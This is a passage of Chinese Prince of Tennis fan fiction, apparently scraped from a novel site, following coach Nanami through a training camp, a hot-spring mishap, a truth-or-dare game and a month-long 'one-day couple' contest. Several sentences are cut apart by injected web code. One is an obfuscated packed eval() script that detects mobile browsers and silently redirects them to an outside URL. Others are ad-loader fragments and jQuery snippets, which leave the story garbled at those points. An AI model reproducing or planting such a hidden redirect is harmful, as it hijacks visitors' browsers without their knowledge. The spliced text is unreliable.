迹部点了点眼下的泪痣,神色不虞:“呵,那几个教练又打的什么主意。” 手冢国光沉着脸颔首:“啊,有些不对劲。” 一阵大风吹过,突然,三颗网球从不知哪个角落里滚了出来,滚到三人面前。他们蹲下身捡起球,正预备起身,却发现视线中出现了一双脚,抬头—— “七海?!” “二阶堂?!” 七海已卸去了伪装,夜幕下,她穿着日本队教练的白大褂,黑发被夜风吹拂着扬起,紫水晶般的双眸中流转着微光,她浅笑着,一如往昔。 “好久不见。” 三人只发愣了一瞬,便不约而同地向她大步走去,七海脑中的危险预知雷达疯狂作响,她马上做出防御姿态——“啊啊啊,等等,站住!Stop!” 他们充耳不闻。 “再过来,我就再消失给你们看!” 这句话的效果好得出人意料,这下,已经走到天台中央的三人终于停下了脚步。 “你们先冷静好不好,唉。”七海背靠着另一侧的围栏,轻叹了口气。“抱歉,白天欺骗了你们......我想你们应该知道我是谁了。” “七海,所以你变成别人,分明已经回来了,却劝我放弃你吗?你好残忍呐。”幸村精市勾起嘴角。 “二阶堂,耍人很好玩,啊恩?” 七海急急忙忙道歉,态度诚恳:“大家,真的对不起......我已经认识到欺骗是不对的,所以才变回了原来的样子。” “七海,这一年多来,你去了哪里?”手冢国光扶了扶眼镜,眼中流露着关心。 “......我做了三个梦,三个很美好,但却不属于我的梦。”少女粲然一笑。 顿了顿,她又道:“嘛,我回来了总归是好事不是吗?” “还有,我有三件事想和你们一一确认。” ...... 得到了三个意料中的回答,无视他们震惊之下的追问,七海垂眸低低地笑了起来。果然,都是真的呐...... 再次抬起头时,她的面色已重归平静。 “呐,景吾,精市,国光,我一直想认真地向你们道谢一次。” “国光,谢谢你这些年来对我的默默关照看护,精市,谢谢你一次又一次毫无保留地信任着我,景吾,谢谢你的温柔,谢谢你坚定地选择我。” “现在,我也可以做出自己的选择了。” “我的选择是——”七海深吸一口气,语气坚定。 “我拒绝,每个人。” 179.第 179 章 翌日午后。 众人花费了一个上午的时间,总算消耗掉了昨天昙花一现的水城教练其实是七海的事实,那么,合宿第一日的神秘试炼活动也拉开序幕。 “诶,这里不是我们前年败者组爬上去的那座山吗?”宍户亮脱口而出。 穿过茂密的一片树林,少年们这才发现丛林掩映之后别有洞天。 “小子们!”平等院凤凰一声怒吼吸引了所有人的注意,“今天的体能训练内容是,在三小时内爬到山顶悬崖!” “那岂不是很轻松!”远山金太郎兴奋蹦跶着,劲头满满。 “切——就这样吗。”越前龙马跟着撇了撇嘴,对此强度表示十分不屑。 种岛修二站在平等院身边,望着这群少年们不知者无畏的模样,笑容灿烂。“可不止这么简单呐☆除了爬山还有其他任务哦。” 入江奏多浅笑着点了点头,“修说得没错。除了爬山,还请大家在路上收集网球,只有收集满10颗网球的人才能入住崖边的温馨木屋,享受豪华晚餐和舒适的温泉。” 是的,当年败者组的那片悬崖,在那几间小木屋的基础上又新建了几间住宿条件极好的木屋,还引来泉水,挖了两个露天温泉。 柳莲二:“那么,一共有多少颗球?” 七海笑眯眯道:“这次参加合宿一共53人,球嘛,只有300颗哦。” “顺便一提,这些球的位置可能会有些刁钻,比如在树上啦,在崖壁上啦,各种地方都有可能出现,天上也会有衔着网球的老鹰往地下丢球,大家要小心别被砸了呐。” “这里是一些口哨,如果大家遇到危险了可以吹,教练组或者老鹰会来救你,但同时也标志着任务失败哦。”她指了指地上的一个箱子。 仁王:“噗哩,任务失败会有什么惩罚吗?” “也没什么,不过就是晚上只能睡洞穴,晚饭自行解决,外加要喝乾新开发的乾汁罢了。”随着她的话徐徐展开,少年们逐渐石化∑( ̄□ ̄*||| “还远远不够呢。”越前龙马僵硬了一瞬,压了压帽檐嘴硬道。 越前龙雅一手抛着橙子,一手用力揉了揉自家弟弟的脑袋:“小~不~点~,我怎么觉得你好像害怕了呢?” 七海没忍住噗嗤一笑,说起来,越前龙雅连橙子皮的苦涩都能忍受,说不定和周助一样也是对乾汁耐受度极高的人。 “那么没有异议的话,比赛——开始!” 少年们分好口哨,铆足了劲一个个分散开向山上冲刺去。七海站在原地,凝视着他们的背影,待到最后一道人影也消失于视线,这才猛地一拍额头。 一声拉长的哀叹响彻林间。 “二阶堂教练,结果如何?”入江奏多笑问。 “如你所料。” 种岛修二插了一嘴:“这也是没办法的事呐。毕竟你才刚回来,失而复得的人又怎么肯放手呢。” 七海点点头:“我也明白,希望时间能冲淡一切吧。” “或者你可以选择平等院,这样他们知道你心有所属说不定也会放弃呢。”馊主意by入江奏多。 “他们不会信的......”她斜睨了身边面无表情的平等院一眼,“哎,不管这些了,我们干正事吧。” 教练组一共将外场的山区分为了四部分——溪流,山脚,山腰,崖顶。除了崖顶的入江负责登记任务完成情况,其他三人要去各自负责的区块巡逻以备救人之需。 七海负责溪流,种岛修二负责山脚,平等院凤凰负责山腰。 “啊,是两年前的那个地方。” 两年前,他们从断桥上掉下来,一路顺着溪流旁的小路走到断崖下,她犹记得猴子跳的一氏裕次和抱着一堆蘑菇出现在这里的财前光,以及围坐在篝火旁狼狈不堪的那群人。 “唔,现在断桥已经修好了,应该不会再发生和上次类似的事了——” “啊啊啊啊!!!”自言自语到一半,几道凄厉的惨叫从不远处传来,七海抽了抽嘴角。他们,该不会...... 事实证明,历史的发展总是相似的。 七海站在小路旁眯起眼远望,果然,连接断崖两端的那条细线消失了,桥,再一次断了。 “到底是哪群人这么笨啊!吃一堑长一智不懂吗!” 然后,她看到从远处走近的人,沉默了。这群人,除了桦地没有一个是败者组的—— 手冢国光,不二周助,白石藏之介,迹部景吾,幸村精市,切原赤也,桦地崇弘,忍足侑士,越前龙雅。 “呵呵,这样就可以理解了呢= =” 只有桦地是败者组,可他偏偏又是个话少的性格,恐怕还没等他出声提醒,桥就已经断了。不过,就这么几个人桥也会断吗?该不会...... 七海脑中浮现出某几位大叔,考虑到他们腹黑的性格,心下有所明悟,恐怕这个场面也在他们的精心算计中。 默默看着远处的几人向这边走来,她的思绪仍乱飞着。 说起来,不愧是这几个人,速度最快,手上也集齐了不少球,本来他们大概率可以成功,只是从桥上掉了下来,结果就未必了。也挺好的,让这些曾经的胜者组也尝一尝失败的滋味,否则多没意思。 “公主殿下!”切原赤也老远便瞧见站在崖下的熟悉白色身影,加快脚步跑到她面前,开启疯狂抱怨模式。 “这个桥也太不结实了吧!就这么几个人也能从上面掉下来!啊啊啊,我才不想输了喝乾学长做的那个饮料!”说到最后,他惊恐万分。 七海赶忙递过去一个安抚的眼神:“赤也,你们还有机会。” 话说着,后面几人也赶到了,她尽职尽责地扮演起导游的角色。 “这处断崖,两年前败者组曾上来过。只不过那时候,他们还要面临被网球砸头的危险,你们也可以考虑从断崖爬上去,再沿着崖上的路折返回去找球。” “七海,应该还有条路吧。”不二周助笑眯眯地问道。 “不愧是周助。嗯,那条路是我待会儿回到崖顶的路,不过嘛,我不能告诉你们,你们要是不怕时间来不及,可以自己找一找。” “还有一小时,大家都拿到了多少颗球?” 得到的结果是:手冢8颗,不二10颗,幸村9颗,迹部8颗,白石7颗,切原5颗,桦地6颗,忍足7颗,以及......越前龙雅0颗。 七海无奈地将视线移向站在一旁抛着橙子的越前龙雅:“越前君,你是想尝一尝乾汁才故意不捡球的吗?”或者他只是单纯地不喜欢遵守规则,呃,怎么感觉后者的可能性更高。 “我已经习惯风餐露宿的生活了呐,神様。”橙子少年漫不经心地笑答道。 七海一时间噎住了。也是,对他来说住山洞之类的事,根本算不上威胁吧。 迹部景吾皱眉轻嗤一声,这个家伙根本是在她面前装可怜。“越前龙雅,不打算遵守比赛要求,来参加什么合宿,啊恩,桦地?” “Wushi.” “阿啦啦,迹部君也会管我的闲事啊。”越前龙雅停下抛橙子的动作,三四口便将橙子吃完,扫视了一圈,仰头大笑了几声。 “神様,你难道没有发现吗?”他勾唇挑眉,一副看热闹不嫌事大的姿态。 “发现什么?” “站在这里的这群人,似乎都喜欢你呐。” 七海张了张嘴,顺着他的话视线锁定眼前这群少年,终于也认识到了这个事实。有了那几场梦,她如今也知道,赤也,他也...... “哦,那又怎么了。”她不示弱地呛声回去。“反正我已经决定了,现在只考虑赚钱,才不谈恋爱。再说,又不是所有人,比如周助对我就没那个意思。” “七海,如果你愿意考虑我的话,我很开心呐。” ...... ......?! “周,周助,玩笑可不是这么开的!”七海惊慌万分。 “嗯~如果不是你很早以前就喜欢手冢,我想我也会喜欢上你吧,七海。”不二周助捏着下巴,歪头微微一笑。 手冢国光在听到第一句话之后,镜片后的表情就冷肃了几分,大约,还有几分愕然。 “诶?!不二学长也?!”切原赤也目瞪口呆,在意识到自己说了个也后,又赶忙捂住了嘴巴。 相对的,七海已经原地石化。越前龙雅十分好心地伸手敲了敲她的肩,身上具象的石化封层碎裂一地,她总算回过神来想起另一个人,向他投去充满期盼的眼神。 “藏之介,你快告诉他你不喜欢我。” 白石藏之介撩了撩额前的头发,笑容灿烂,发言坦诚,非常坦诚: “七海,其实我也喜欢你。” ?! ????!!!! 少女震惊,呆愣,无言。许久,她缓和过来,好吧好吧,就算这群人都喜欢——“所以呢,越前君你想干嘛。” 越前龙雅竖起一根手指建议道:“来玩个游戏吧?等爬上崖顶之后。” “越前君,你想玩什么游戏呢?”幸村微笑着,笑得太温柔,七海只觉得危险+不妙。精市,他生气了啊。 越前龙雅再准备回些什么,七海掏出手机本想查看一下其他几处的情况,却发出一声惨叫——屏幕上的时间显示为17:02。 “啊啊啊,只剩半小时了!” “再想玩游戏,也要先爬上去再说吧!而且除了周助,你们球都还没满,再不抓紧时间就要受罚了啊!”她满脸焦急,可是这群人看起来都是不紧不慢的样子。 “哎呀,看来今天的比赛要输了呐。”忍足侑士操着关西腔随意道。 “人生偶尔也要体验一下失败,我正好想尝一尝乾的新作呢。”不二周助笑眯眯道。 不是,周助,你只要按时赶上是可以通过的啊! 对这群人的不满达到临界点,七海反倒垂头耸肩冷笑起来。“呵呵,呵呵......” 她再次抬头时,笑容透着十足的危险气息:“告诉你们一件事吧,你们在试炼任务中的表现也决定了能否参加新Genius10选拔,如果合宿期间任务失败次数达到2次,就会被剥夺选拔资格哦。” 七海眯起眼:“阿啦啦,我还以为你们很想和我组男女混双,去赢得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754092|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国际赛事第一呢。” “啊,七海,我先上去了。”手冢国光扶了扶眼镜,说完话便快速行动起来。 “呵,本大爷才不会输。” “迹部,手冢,我们比一场如何?” “哇,手冢桑,好狡猾!我也上去了,公主殿下!” ...... 七海今天第N次扶额,这群人!非要她这么说才有用是吗! 一小时后,从入江处确认所有人都已到达终点,七海偷了个懒,她吹动口哨喊来舒克和贝塔叼着她回到了崖顶。 夕阳下,崖顶人声喧闹,热闹非凡。 木屋前的空地上人来人往,少年们三三两两地将从林间寻来的木柴往这片空地中心搬运去,看来是打算点燃篝火。 白石、不二、幸村带领着几组人去树林中寻找可食用的食材了——没错,那群人最后华丽地全员落败,全都喝了杯乾汁。 七海站在一旁注视着这群充满青春活力的人,不自觉展露出微笑。嘛,就让他们继续努力吧。她出了点汗浑身黏腻,正好先去泡个露天温泉,等泡完出来,她就可以坐享其成! -------------------------- 落日余晖下的露天温泉散发着迷人的雾气,氤氲在空气中,少女赤裸着身子光着脚,悄然走入池中。 “哇呜,三船教练我给您磕一个吧。”她闭着眼喟叹着,感受着水流的拥抚,肌肤被热气蒸腾着,说不出的舒畅惬意。 崖顶除了那两处露天温泉,还有一个,便是在她住的那间木屋后院的不远处。这里的池子被大石块竹林掩映,是教练组四人让工人凿的隐藏温泉。 周遭的树林静谧无声,只有林中小鸟的啾啾鸣叫偶尔传来,与泉水的潺潺声交映。少女眨了眨眼,水珠从她的睫毛上滑落,在水面荡开一圈圈的涟漪。 心跳和心绪渐缓,她闭着眼正享受着,远处却隐隐约约传来熟悉的几道对话声。 “迹部桑,手冢桑,幸村部长,真田副部长,这里是仁王前辈告诉我的,没有别人知道的第三处温泉哦!”是切原赤也。 “赤也,输掉比赛,实在是太松懈了!”是真田弦一郎。 “真田副部长,你不也任务失败了!”切原赤也不服气道,看来当了一年部长,赤也的胆量确实见长。 “我是为了救差点从悬崖上掉下去的金色君!” 七海汗颜。难怪,她一上崖顶就看到小春对着真田弦一郎幸福地冒泡泡,裕次在一旁悲痛欲绝,原来是被真田“英雄救美”了。 不,现在不是想这些的时候,他们要过来了,可是她现在赤条条啊!!七海绝望地闭了闭眼,浴衣放在竹林的一块石头上,如果她现在去拿浴衣,恐怕就要被他们撞见了。 耳边的脚步声越来越近,少女的眼神四处乱飞,姑且躲在池边的石块后,七海偷瞄着远处那五道穿着浴衣逐渐清晰的身影,心跳得飞快。 “到了!就是这里了!”切原赤也指着不远处的温泉,雀跃道。“我要先下去咯!”说罢,他就打算把浴衣脱了。 “赤也,别过来!!!”七海于慌乱中高声喝止了兴致勃勃的切原赤也。 “公,公主殿下?!”切原赤也慌乱道,可是面前的温泉根本没有人啊! “七海?”幸村精市愕然。 七海这才小心翼翼从石头后探出半个身子,不知是激动还是什么原因,小脸涨得通红。鬓边的两丝碎发湿哒哒地垂在裸露着的肩膀上,不停滴着水。水滴汇成一条线顺着她的锁骨向肌肤之下滑落。 少年们很快意识到一个明晃晃的理所当然的事实——她没有穿衣服。 “公主殿下,怎么,怎么是你!!”小海带脸颊骤红,话音刚落,他便感到鼻下一热,伸出手一摸,是鼻血。 “啊啊啊啊啊啊!真田副部长,我流鼻血了!”他下意识惨叫,过了两秒才反应过来流鼻血的原因。“啊啊啊啊啊!” 真田弦一郎正打算压帽檐,伸手摸不到才意识到,为了泡温泉,他早就把帽子摘了,手在额前尴尬地顿了顿,真田黑着脸,表情严肃声音却称不上多冷静: “实在,实在是太松懈了,赤也!” “我泡好要起来了,你们,你们快点转过身去!”七海羞愤难当。 “呵,本大爷还不至于趁人之危,二阶堂。”迹部景吾饶有兴致地一声轻笑,转过身。 三部长并切原真田老实地转过身去,七海走到温泉的另一头,抬脚准备上岸去取衣服,身后又是几道雀跃的少年声—— “哦!白石,这里真的有温泉诶!我能闻出来!” “是呐!小金,今天我们就好好泡个澡吧!” “谦也,我们好久没有一起泡温泉了呐。” “好耶!侑士,上次北海道温泉的券没抽到,没想到还能在合宿的时候泡上温泉呢!” 怎么还有人来啊!少女于慌乱下脚下一滑,发出一声惨叫“啊!!” “七海,怎么了!”有人出于担忧下意识转过身来...... 滑倒落水前,她只有一个想法——仁王雅治,看你干的好事! 180.第 180 章 数分钟后。 “哦!手冢,二阶堂,你们来啦!”菊丸英二坐在篝火边,望见从远处走来的一行人,忙招呼着他们坐下。 暮色笼罩下的悬崖上,篝火熊熊燃烧着,火舌时高时低,发出劈啪作响的声音。少年们围着篝火坐成一圈,嬉戏打闹,三位教练也在。入江奏多望向走来的一行人,敏锐地发现了一些不对劲的地方—— 七海的脸红成一片,切原赤也不知怎么地似乎是流鼻血了,鼻孔上插着一小团纸,其他人的状态也算不上多正常。 手冢国光,他的眼镜反着白光,垂在腿侧的手紧紧攥着; 迹部景吾的面色极其地阴沉,看得出来他十分不爽; 幸村精市微笑着,眼中却散发出阵阵冷意; 白石藏之介讪笑,身旁的远山金太郎满头问号; 忍足侑士面无表情,边上的忍足谦也大惊失色...... “二阶堂教练,发生了什么吗?” “没什么。”语毕,她的头顶再次蒸腾而上一股热气,脸红得不像话。 不过就是她摔了一跤,手冢国光转过身发现她掉到水里飞奔过来,试图把她从水里捞起,却被她一不小心拽开了浴衣系带...... 他故作镇定地把衣服穿好,在其他人赶过来之前把她打横抱起,衣袖堪堪遮住她的春光,顺手带上放在石上的浴衣,再把她送回了房间。 嗯,不过就是这样而已。 “总算全员到齐了呢,那么今晚,我们就来玩些游戏吧呵呵呵呵。”乾贞治扶了扶眼镜,笑容十足的诡异。 “乾,玩什么游戏?” “乾汁版国王游戏之真心话大冒险!” 七海在不二周助身边坐下,抽了抽嘴角。“乾,你还是说的直白一点吧。” “在场加上二阶堂恰好一共54人,我手上有一副扑克牌......”乾贞治从怀中掏出一副不知何时准备好的扑克牌。 一番解释后,大家都明白了。游戏玩法如下: 每个人会抽到一张扑克牌,抽中大王的人有资格指定抽到某个特定花色数字的人进行真心话大冒险,问题将由抽中大王的人从一个盒子中抽选。 选择真心话的人要给出自己的答案,如果不给答案则要接受乾汁惩罚,同时被淘汰。一轮结束后重新洗牌发牌,如此循环往复,最后剩下的人所代表的学校算作胜利。 “呀,裕次,好像很有趣的样子!”金色小春娇羞道,“如果我抽到你请你一定要选择对我真心告白!” “仁王君,我可是准备好了问题要问你呢。”柳生比吕士扶了扶眼镜,话语中多少有些不怀好意。 “那么事不宜迟,我们开始吧!” 第一轮: 抽中大王的人是切原赤也,抽中的问题——第一次亲吻是什么感觉? “我选黑桃K!” 真田弦一郎看着手中的黑桃K,脸黑了一度,面色十分尴尬,他还没有亲吻过,实在是太松懈了! 乾贞治见状赶忙站出来解释——“如果问题没有答案的话,默认接受惩罚哦。真田君,请吧。”眼镜少年嘴角高高扬起,笑容越发诡异。 真田弦一郎喝下乾汁后直挺挺倒下。真田,out! 周围的人倒吸一口凉气,接下来的几轮再无人敢不回答真心话问题,不过也有抽中了完全无法回答问题的倒霉蛋。 凤长太郎被提问“人生中撒过的最大的一个谎。”,凤表示自己从没撒过谎,out。 切原赤也被提问“初恋是在什么时候场景下发生的。”,海带同学支支吾吾了半天选择自己喝乾汁,out。 也发生了点意外。 比如木手永四郎被提问“自己最想组的双打搭档是谁?”,他的回答是丸井文太。结果就是胡狼桑原当场化身怨妇,丸井好一通安抚之下,胡狼才勉勉强强收起了幽怨的情绪。 七海运气尚可,连续几轮都没有抽到真心话大冒险,直到第五轮,她抽中了大王。 “唔,那我选红桃A。” 抽中的问题——七海看着纸条上的问题抽了抽嘴角,“说出你喜欢的人身上,你最喜欢的一个身体部位。” 抬头,抽中红桃A的人是坐在与她隔了两个位置的......迹部景吾。搞什么啊!! “啊恩,只要是她,无论什么身体部位本大爷都喜欢。” “迹部,不能说都喜欢,还是你想喝乾汁......”乾贞治不知何时阴恻恻地出现在迹部景吾身后,将翻涌着诡异的五彩斑斓的黑色光泽的乾汁放到他面前。 迹部似笑非笑地看了不远处的少女两眼,慢条斯理道:“那就嘴唇吧。” “哦~~~”“迹部桑,上啊!”冰帝的少年们起哄着,七海突然意识到,今天的这个游戏,该不会是冲着她来的吧? 事实确实如此,乾贞治趁着这个机会实打实地记录下了一些数据,偷偷向场上的某人投过去一个万分感激的表情。 接下来几轮,总算没有再抽到她或者那几个人。但她很显然忘了一件事——现在或许抽不到他们,等其他人被淘汰了,最后就只剩他们了。 十数轮后,她再次抽中大王,而指定花色对应的人是——幸村精市。 “当异性因为情感问题找你求安慰,你会怎么做?” 幸村精市微微一笑,“这种事我只经历过一次呢。那时候我安慰她告白失败也不必远离,当做普通朋友对待就好,现在倒是有些后悔了呐。” 七海愣了愣,记忆回溯许久,这才回想起,那是他们认识没多久的时候,她用“有一个朋友”作为掩饰,问他该怎么和国光相处。 手冢国光的眼镜这时倒是没有反着光了,镜片下的表情晦涩不明。 再过了几轮,总算轮到了手冢。 不二周助微笑着问出纸条上的问题:“手冢,初恋如果再给你一次机会,还会珍惜吗?” “嗯。”手冢沉着脸轻点了点头。 ...... 关于她的问题,他们都回答得毫不犹豫,直到七海本人成了被提问的倒霉蛋。 第一次被忍足谦也提问:“二阶堂学姐,你对另一半的要求有哪些?” 七海扒拉着指头:“人品要好,有责任感,帅,尊重我的爱好......差不多就这些吧。”抬起头,从方才乾汁攻击下缓过神来的少年们神情暧昧地在她和那三个人之间扫射。 “噗哩,这个回答似乎那几个人都十分适用呢。”仁王雅治热衷于凑热闹。 七海听到仁王这话就气不打一处来,“仁王,你闭嘴!要不是你告诉他们第三个温泉,我才不会......” 不会什么?乾贞治的好奇心被疯狂勾起,他决定之后找看起来比较好套话的白石藏之介了解情况。 第二次被越前龙马提问:“二阶堂学姐,你喜欢当被爱的那一方还是,爱人的那一方?” “爱人的那一方。” 第三次被柳莲二提问:“二阶堂,现在心里最在意的异性的名字?” “福泽谕吉。” “诶,这种回答根本是赖皮吧!” “......”七海沉默着偷瞄了身侧那三人一眼,果断开口“我喝乾汁。” “二阶堂,这次的乾汁我可是针对你的口味特意调配过。”乾贞治将不明液体递到她面前,七海接过杯子,下一秒,预备抬起的手被按住了。 “七海,我来喝吧。”他语气坚决。 “精市,不用了。”她趁他不注意,将杯子调转到左手,干脆地一饮而尽。 呃啊,这是什么诡异的口感,咽下肚子的一瞬,她的肠胃就开始翻江倒海。 “乾,你,呃,好狠的心!”七海苦着张脸艰难道,从位置上站起,向房间一路逃窜,另外三人不出在场其他人的预料也跟了上去。 目送着那四人离去,篝火旁。 “啊我突然想起来,老大在合宿第一天说,七海是他的女人.... (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ..”大石秀一郎围观到现在,方才想起来这一茬。 之前一直冷脸旁观的平等院凤凰从鼻孔里发出一声嗤笑。“呵,她已经彻底拒绝了那三个人,他们和她早就没有可能了。” “诶?!——”众人震惊脸。 “神様是怕自己接受了其中一个人,会让另外两个人难受吧。”越前龙雅将橙子穿在签子上,边围着篝火烤着橙子边不经意地道出真相。 “这才是她的风格不是吗,总是考虑他人优先于自己。” “......”众人一时间陷入沉默。 “呵呵,既然七海拒绝了那三个人,不就代表其他人有机会了吗?”不二周助浅笑着,意有所指。 ------------------------- 同一时间,七海住的木屋内。 “咳咳,咳咳......”她扶着洗手池边沿,垂头猛烈地咳嗽着伴随着干呕。 “七海,没事吗?”手冢抽出纸递给她。 “我去给你倒水。”幸村转头去客厅为她倒水。 “二阶堂,你是笨蛋吗,啊恩?你不喝,有的是人替你喝。”迹部景吾恨铁不成钢地轻拍着她的后背,后悔当时没有干脆地抢过那杯乾汁喝下去。 被这三个人无微不至地照顾着,她反而咳得更厉害了,眼角因为咳得太用力渗出泪水,模糊了眼眶。 许久,她才平复下来,抬头望着站在洗手间门前满眼关心的三人,一阵沉默无言后,启唇道: “我的拒绝是认真的,你们千万不要抱有侥幸心理。” “七海,朋友的关心你没必要拒绝呐。” “啊恩,幸村说的还有几分道理。” “朋友?不,你们忘了,还有一层很重要的关系。”七海意味深长道。 “什么?” 七海撩了撩长发,狡黠一笑:“当然是教练和她的选手们!” “我不管你们心里到底是怎么想的,既然不准备离开,那么,从今天起,一起创立属于我们的网球盛世吧!” “听起来不错呢。”幸村精市浅笑着。 “那是自然,愚民们,都沉醉在本大爷的美技之下,啊恩?” “七海。”手冢国光扶了扶眼镜,“我和德国......” 她制止了手冢继续向下说的话,“国光,你要说和德国的合约到期的事,对吗?” 手冢微愣,“啊。” “其实你不回来也没事呐,我也是德国队的顾问,不过如果你愿意的话,也可以加入我的NA俱乐部,挂个名就好。”她抿嘴一笑。 “好。七海,我听你的。” “哇,突然燃起来了怎么回事。”七海双眸亮晶晶的,“呐,我们现在回到篝火边吧,关于这件事,等到合宿结束那天,给他们一个惊喜。” 四人回到篝火边,喧闹的讨论声霎时间消失。 她奇怪地眨了眨眼:“你们刚才在讨论什么,怎么不说了?” “我们在讨论怎么帮助二阶堂教练解决终身大事呢。”入江奏多笑答道,“名字就叫‘二阶堂教练争夺赛’怎么样?” “入江,你们的馊主意真的很多诶......所以,比赛形式是什么样的?” 乾贞治:“合宿时长一个月,刚才我们已经收集了数据,想要和二阶堂你在一起试试的人加上你身后那三位一共15人,所以,比赛的形式是......” “一日情侣?!”少女目瞪口呆。 “嗯,每隔一日会有一个少年在合宿期间和你做一日情侣,请二阶堂教练你给他们打分,最后就可以通过数字将每个人的表现具象化!” “那个......”七海弱弱举手,“那如果有最高分,我必须选择最高分吗?” “当然不是,你也可以选择拒绝,怎么样二阶堂,比赛,参加吗?” 七海托腮沉思片刻,下定了决心。 “听起来很有趣的样子呢,好,我参加!” 181.第 181 章 一个月后。 “真没想到获得二阶堂教练争夺赛第一的人是他呢。” “呵呵,我倒是不意外呢,修,你的答案应该也一样吧。” 今早,二阶堂教练争夺赛比赛结果正式出炉,第一名的获得者居然是—— 七海站在会议室门口,会议室里数据组二人并教练组三人正对着屏幕上的列表煞有介事地分析着,听到她的开门声,忙招呼她进来。 “二阶堂,这是这一个月来我们收集来的数据,你自己来看看。”乾贞治用教棍点了点屏幕,热情邀请道。 屏幕上各种饼图树状图,看得她眼角一抽一抽的,这就是数据组的恋爱分析法吗......恐怖如斯! 这一个月来,每天的训练间隙加上晚上的休息时间她都会和一位候选者待在一起。说是一日情侣,大部分时候也只像朋友一般聊聊天、吃吃饭。 最大程度的“越界”也不过就是牵手拥抱罢了,虽然有几个少年只是牵个手就红了脸,让她由衷地感叹青春的青涩美好。 还有个别人分明是浑水摸鱼进来的,比如小金,他居然也参加了这个活动! 然后毫不意外地在晚上选择了拉着她打网球= =把她打得累趴下,嘴上却说着“漂亮姐姐,果然和你谈恋爱很开心啊!” 远山金太郎同学,目前看来,他只适合和网球谈恋爱。 在那之后有少年注意到了这种投机取巧的办法,也想加入活动中,还好报名已经截止了...... 每天结束情侣活动后,数据组便会对她进行全方位提问,再根据她的答案记录数据,她自己倒是没有刻意去记。因而,在她走进会议室之前,七海本人也不知道第一名花落谁家。 “所以第一名是谁?”她边问,边拉开椅子在种岛修二身边坐下。 “二阶堂,不如你先猜猜?” “唔......等等,该不会这个问题也是你们恋爱分析的一部分吧?”什么她心里想的第一名其实是她真的想在一起的人之类的,就像抛硬币,结果不重要,结果出来之后心里的答案才是真相。 “我们确实有这个想法。”柳莲二诚实地点点头。 “那最好不要算进去哦,我只是客观分析罢了。” “可以。”数据组两人道,至于他们到底有没有听进去,那就是天知道了。 七海托腮,回忆良久,抬眸,口中报出了第一个答案:“周助?” 那天的一日情侣活动从客观上来说十分浪漫,周助完全是完美男友形象,他们本就熟识,他对她的喜好、习惯了如指掌,以她为中心,他将一切都安排得妥妥当当。 只不过,约会的前半程她总有种淡淡的违和感,甚至于背德感。不二周助当然察觉了她的尴尬情绪,安慰她当做普通朋友一样相处就好,她这才放下一些有的没的情感包袱。 夜晚,他拿着相机带着她去崖边拍星空,肉眼只能看到星星点点,相机却能拍出一条璀璨的星河。群星的光芒浩瀚而温柔,他们在夜空下畅聊过去与未来,她最后没忍住,将她做的那三个梦倾数相告。 【“七海,无论是梦境还是真实,那三个故事都不属于此刻的你呐。所以,你又何必去在意梦中人的悲喜呢?” “我相信有一天,你能找到自己的答案。”星空下,少年冰蓝的眸子深深凝望着她,笑意清浅,每说出一个字,她的心便被触动一次。】 于她而言,不二周助永远是她能够全心全意信任、信赖的人。 “很遗憾,不对。” “那,藏之介?” 白石藏之介也是个能将自己的温暖传递给身旁人的满分男友,会体察她的情绪还会讲笑话,假如她没能理解笑点,他亦会耐心地解释。 那天早上第一次见面,他便送了她一束花。花叶娇艳欲滴,散发着阵阵芳香,花瓣上点缀着晶莹的晨露,他的鞋底还沾着湿润的泥土,一看便是他起了个大早去后山林中摘的。 他在他的能力范围内,给予她他能给到的一切美好。 “二阶堂,为什么你不敢猜那三个人呢?”柳莲二淡淡道。 七海一时间沉默无言。 “如果第一名是那三个人中的一个,就不要告诉我答案了。” 和他们当一日情侣的三天,她同样终生难忘。 彼时彼刻,在这片合宿营地中,他尚未打破任何记录也没取得全满贯; 他尚未赢下那场红土之战,他们站在崖边,空中没有镰仓的花火映衬; 他褪去帝王和少爷身份,无法使用钞能力的魔法为她创造不可思议的美好; 可即便如此,他们的存在本身于她而言,就已蕴含着非凡的意义。 那三个夜晚,他们的真心太宝贵太炽热,剖出来,赤裸裸地流淌在她面前,亮得烫眼,她竟有些不敢直视。 乾贞治扶了扶眼镜,平静道:“好消息,不是他们。二阶堂,我们能感受到你的压力,事到如今,选择其中一个都会给你带来负担,所以第一当然不会是他们中的一个。” “二阶堂,你也可以全都要☆”by笑容满面的种岛修二。说完这句话,他不意外地被一直没有发言的平等院凤凰不冷不热地扫了一眼。 “......好了,告诉我第一是谁吧。” 纯白的会议室内鸦雀无声,直到入江奏多笑着开口。 “其实没有第一呐。” “诶?”七海侧过头,面色发怔。 “不是你真心想要在一起的人,就算不上第一名。”乾贞治将屏幕上的数据分析表拉到最后一张,那是一张折线柱形图,纵轴是“心动值”,横轴是不同时间的不同参赛者。 能够拉起高度,拥有属于自己的心动值折线的,也只有那三个名字。 出乎在场其余五人的意料,她的脸上并没有浮现出他们曾设想的神色——无奈、烦恼或是哀伤、晦暗。 笑意在她明亮的紫眸中绽放,宛如一汪清泉在春日里荡漾出层层粼粼的光影,纯真而透彻,带着一种释然的自在。 “那就没有吧。” 没有答案,就是她现在能给出的答案。 又或者,爱,从来没有标准答案。 ------------------------ 合宿临近尾声,那么一场最重要的比赛也即将开始——新Genius10争夺赛。 今早,去年的Genius10回到了1-10号球场,等待着新高中生们的挑战。 种岛和平等院作为前Genius10都去球场了,只剩七海和入江作为场外监督,负责在十个球场之间来回巡逻,记录替换结果。那么,她先去的球场自然是一号 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 球场。 走近了,平等院的大嗓门喊话直往她耳朵里钻。 “呵,一群不知天高地厚的小鬼,一个个上吧!” 